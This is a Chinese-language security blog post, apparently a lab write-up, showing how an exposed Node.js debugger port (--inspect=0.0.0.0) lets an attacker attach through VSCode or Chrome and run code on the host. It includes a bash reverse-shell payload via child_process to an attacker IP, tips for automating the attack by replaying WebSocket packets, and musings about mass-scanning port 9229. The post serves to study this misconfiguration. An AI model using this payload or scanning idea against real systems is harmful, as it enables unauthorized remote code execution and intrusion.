前陣子,在某個奇怪的情境下遇到的狀況,我擁有一台機器上跑的 Server 的完整 Source Code,且其 NodeJS 的 Debugger Port 是開啟的狀態,在這種情況下是有辦法取得 RCE 的嗎?
這邊我建立了一個簡單的 NodeJS 的 Script,功能很直覺,應該不需要多做解釋。
const express = require('express')
const app = express()
const port = 3000
app.get('/', (req, res) => {
var name = req.query.name
res.send('Hello ' + name + " !!");
})
app.listen(port, () => {
console.log(`Example app listening on port ${port}`)
})
如果說,我們的這隻程式因為各種緣故,需要使用遠端 Debugger 的話,很可能會用下面的方法叫起來,不過這種方法是超級無敵危險的!
nodejs --inspect=0.0.0.0 main.js
VSCode Exploit
假設我們的程式在 Victim 端使用上述方法跑起來,而 Attacker 擁有完全一樣的 Code 的話,可以在專案中新增下面的檔案,並把 IP Address 修改成 Victim 的 IP。
.vscode/launch.json
{
// Use IntelliSense to learn about possible attributes.
// Hover to view descriptions of existing attributes.
// For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387
"version": "0.2.0",
"configurations": [
{
"type": "pwa-node",
"request": "launch",
"name": "Launch Program",
"skipFiles": [
"<node_internals>/**"
],
"program": "${workspaceFolder}/main.js"
},
{
"type": "node",
"request": "attach",
"name": "Attach to remote",
"address": "192.168.40.136", // <- remote address here
"port": 9229
}
]
}
在 Attacker 端的 VSCode 選擇 Debugger,並選 Attach to Remote,按下箭頭後,我們就能 Attach 住正在執行的程式了。
接下來我們可以對程式的任意點下斷點,以此範例我對第 7 行下斷點,接下來讓程式執行到斷點上 (對網頁 F5 之類的)。

接下來修改上面的任何一個變數的值,點兩下就能修改。這邊有一個很奇怪的特性 Feature(? ,例如我們在 name 上面輸入 1+1
,它會直接變成 2
, 代表說其實這個變數欄位是有運算功能的。
再來,試著輸入
console.log("meow")
發現在 Console 上面也真的出現了 meow
那我們可以猜一猜,這個 JavaScript 的運算,到底是在我們本地的 Debugger 上面做運算,還是在遠端的 Host Server 呢?
我們可以輸入壞壞ㄉ Reverse Shell Payload
global.process.mainModule.constructor._load("child_process").exec("bash -c 'bash -i >& /dev/tcp/192.168.40.135/443 0>&1' ")
接下來,就 … GetShell 了
太快了ㄅ = =

Chrome Exploit
原本想說,剛剛這樣用 VSCode 已經夠簡單了,後來突然想到, Chrome 本身也有 JS 的 Debugger Tool,可以開來玩玩看。
先在 Chrome 網址列輸入
chrome://inspect
在 Device Configure 的地方輸入 Remote 的 IP 跟 Port

畫面上就會出現一個 Remote Target

按下 inspect 後,會出現一個 JS 的 Console,長的跟平常的 F12 很像,不過這邊的 Console 就是 Remote 的 JS Console。

同樣,我們只要貼入我們壞壞的 Payload 就能 Get Shell 了

比起說這是 Exploit,我覺得應該更像是 NodeJS 的 Feature 吧。
封包分析
NodeJS 的 Debugger 是透過 WebSocket 的
我們可以直接訪問 Host 的
http://192.168.40.136:9229/json/list
它會直接噴出一段 Json
[ {
"description": "node.js instance",
"devtoolsFrontendUrl": "chrome-devtools://devtools/bundled/js_app.html?experiments=true&v8only=true&ws=192.168.40.136:9229/1a04ed1c-d10a-4f1e-a237-9b75b80ad2aa",
"devtoolsFrontendUrlCompat": "chrome-devtools://devtools/bundled/inspector.html?experiments=true&v8only=true&ws=192.168.40.136:9229/1a04ed1c-d10a-4f1e-a237-9b75b80ad2aa",
"faviconUrl": "https://nodejs.org/static/favicon.ico",
"id": "1a04ed1c-d10a-4f1e-a237-9b75b80ad2aa",
"title": "main.js",
"type": "node",
"url": "file:///home/steven/nodejs_demo/main.js",
"webSocketDebuggerUrl": "ws://192.168.40.136:9229/1a04ed1c-d10a-4f1e-a237-9b75b80ad2aa"
} ]
裡面也就有 Debugger 的完整 Socket URL 了
接下來試著用 Chrome Debugger 發一個
console.log("testtest")
用 Wireshark 觀察封包,把 Protocol 設定成 WebSocket 後,可以看出它的 Payload 會經過 Masked,但基本上可以看出他們在幹嘛。
如果希望把上面的攻擊方式給做成自動化的話,可以去翻 V8 Spec 上面的 API 呼叫方式,或是直接暴力的抓包,讀懂之後,重構並做重送就好了。

因為這個 Port 不算太常見的 Port, Shodan 上無法查詢 QQ
不知道用 masscan 去掃全世界預設的 9229 開啟,能夠撿到多少台機器呢?
在〈“NodeJS V8 Engine Debugger Exploit”〉中有 1 則留言
[…] 在上一篇文,(NodeJS V8 Engine Debugger Exploit) 中,我們使用了 VSCode 的 Debugger 與 Chrome 的 Debugger 把 Node JS 的 Debugger Port 給戳出 Shell。 […]